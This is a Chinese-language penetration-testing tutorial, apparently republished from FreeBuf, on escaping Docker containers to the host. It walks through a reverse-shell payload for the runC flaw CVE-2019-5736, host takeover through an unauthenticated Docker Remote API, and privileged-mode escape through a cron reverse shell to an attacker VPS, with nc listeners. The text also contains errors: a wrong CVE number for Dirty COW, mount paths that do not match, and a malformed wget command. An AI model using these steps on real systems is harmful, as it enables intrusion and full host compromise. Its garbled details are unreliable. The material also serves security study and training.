docker逃逸方法汇总与简要分析
2024-1-30 13:49:11 Author: www.freebuf.com(查看原文) 阅读量:22 收藏

概括:

渗透测试拿到webshell后,发现主机是docker环境,要想一步渗透,就必须逃逸到“宿主机”。甚至还有物理机运行虚拟机,虚拟机运行Docker容器的情况。那就还要虚拟机逃逸了。

如何判断当前机器是否为Docker 容器环境

1、Metasploit 中的 checkcontainer 模块、(判断是否为虚拟机,checkvm 模块)
该模块其实进行了如下操作

1703229293_6585376dcd5b4e35a63a7.png!small?1703229295371

2、检查根目录下是否存在.dockerenv文件

1703229299_65853773276d95b96bfe8.png!small?1703229301137

3、检查 /proc/1/cgroup 是否存在含有docker字符串!

4、容器ip多是172.17IP段的,而且很多命令诸如vim都是无法没有安装的

docker 逃逸的方法

1、由内核引起的的dirty cow实现逃逸----CVE-2019-5195

2、软件程序引起的docker逃逸漏洞----CVE-2019-5736

3、docker配置不当引起的----特权模式逃逸

漏洞原理

此漏洞是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。

docker寄存于宿主机当中,与宿主机共享内核,故docker容器存在于diry cow漏洞的宿主机当中

影响的范围:Linux内核>= 2.6.22

利用 uname -a查看系统内核的全部信息

举例:

1703229310_6585377ef38e83b5b04a9.png!small?1703229311900

测试工具:

官方EXP:https://github.com/dirtycow/dirtycow.github.io
提权为root权限的EXP一:https://github.com/FireFart/dirtycow
提权为root权限的EXP二:https://github.com/gbonacini/CVE-2016-5195

漏洞点在于runC

概念

runC

runC是docker中最为核心的部分,容器的创建、运行、销毁等操作都是通过runC程序来完成的,它为用户提供了一种统一的方式来管理容器的生命周期,使得容器应用程序可以在不同的操作系统上以可移植的方式运行。

受影响的版本

Docker Version < 18.09.2
runC Version <= 1.0-rc6

通过 docker 和docker-runc 查看当前版本情况。

利用步骤

第一步:目标环境需要是docker环境

前提:首先目标机器,需要在docker环境当中(这里可以随便启动一个vulhub的漏洞靶场作为掩饰)

第二步:运用POC脚本

https://github.com/Frichetten/CVE-2019-5736-PoC

修改Payload,修改反弹shell的VPS机器

var payload = "sh -i >& /dev/tcp/192.168.111.14/9999 0>&1" 

1703229331_65853793332b22d4db75c.png!small?1703229332294

第三步:编译GO脚本

安装完毕GO环境之后编译,生成可执行的脚本main

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

1703229346_658537a255e9dd13f482d.png!small?1703229347498

第四步:将编译好的main文件上传到docker中

(模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)

可以用python启动环境,在docker中进行下载,或者放到github当中使用git clone下载,亦或者docker ps尝试

第五步:执行并等待此docker再次被exec,查看看脚本是否拷进容器并启动main脚本

docker exec -it xxxx /bin/bash

第六步:攻击机开启监听

例如:nc -lvvp 9999

1703229354_658537aaa287849adba59.png!small?1703229355617

受害机在此启动一个新终端,执行如下命令再次进入容器,便会立刻触发payload反弹shell到VPS的监听端口,此时权限为系统权限,那么docker逃逸成功

docker exec -it xxxx /bin/sh 

总结:此方法需要有人使用exec执行,进入docker环境才可以逃逸

详见:https://blog.csdn.net/qq_64973687/article/details/132187299

1.docket remote api未授权访问导致逃逸

简介

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API,它允许用户通过RESTful API与Docker引擎进行交互,这意味着开发人员可以使用HTTP请求来远程管理和控制Docker引擎,包括创建、启动、停止和删除容器,构建和管理镜像,以及执行其他与Docker相关的操作。

Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,黑客也可以删除Docker上的数据。

搭建环境

环境搭建

首先我们执行如下的代码将 docker 守护进程监听在 0.0.0.0

dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock
  • -H=0.0.0.0:2375:指定 Docker daemon 监听的 TCP 端点地址和端口号。0.0.0.0 表示绑定到任何可用网络接口上,即允许从其他主机上的容器或者计算机上运行的 Docker 客户端连接。2375 是 Dockerdaemon 监听的端口号
  • -H unix:///var/run/docker.sock:指定 Docker daemon 监听的 Unix 域套接字路径,即 /var/run/docker.sock

运行这个命令,Docker daemon 将同时监听 TCP 端点和 Unix 域套接字,并且没有安全保护

1703229364_658537b488aaa5f46ef59.png!small?1703229365908

执行后出现上面错误是由于当前环境docker已经在运行中了,需要先停止docker

systemctl stop docker

再次执行

dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock

漏洞探测

利用curl 192.168.111.14/info,返回内容含有DockerRootDir等字符,则证明存在docker未授权访问漏洞

curl 192.168.111.14:2375/info | grep DockerRootDir

1703229379_658537c377e85521d2f09.png!small?1703229381224

或者执行以下命令,然后查看info文件,道理相同

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$192.168.111.14:2375/info

1703229387_658537cb6a98bc5021841.png!small?1703229388610

漏洞复现

启动新容器,以sh或者/bin/bashl启动,将该宿主机服务器的根目录挂在到容器的/mnt目录下,这时修改/mnt/etc/crontab相当于修改/etc/crontab文件

docker -H tcp://192.168.111.14:2375 run -it -v /:/mnt nginx:latest /bin/bash 或者sh

返回该容器宿主机的shell

1703229394_658537d2781d22672f632.png!small?1703229395948

到mnt目录下,可逃逸到宿主机

1703229401_658537d91b6a9a4f20ff9.png!small?1703229402036

2.特权逃逸

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行 docker run privileged 时,Docker 容器将被允许访问主机上的所有设备,并可以执行 mount 命令进行 挂载。

1、以特权模式运行一个docker容器

docker run -it --privileged xxxxxx /bin/bash

2、查看磁盘文件

1703229409_658537e1040298b203fe9.png!small?1703229410087

3、创建一个文件夹,并将sda1挂载到该创建的文件夹中

mkdir /zhang  #zhang文件夹相当于对方主机的根目录,可以进行写文件操作。
mount /dev/vda1 /zhang

4、写入计划任务到宿主机

echo '* * * * * bash -i >& /dev/tcp/vps的ip/9999 0>&1' >> /nuoyan/var/spool/cron/root

5、在vps上等待shell反连接

nc -lvvp 9999

文章来源: https://www.freebuf.com/articles/network/387464.html
如有侵权请联系:admin#unsafe.sh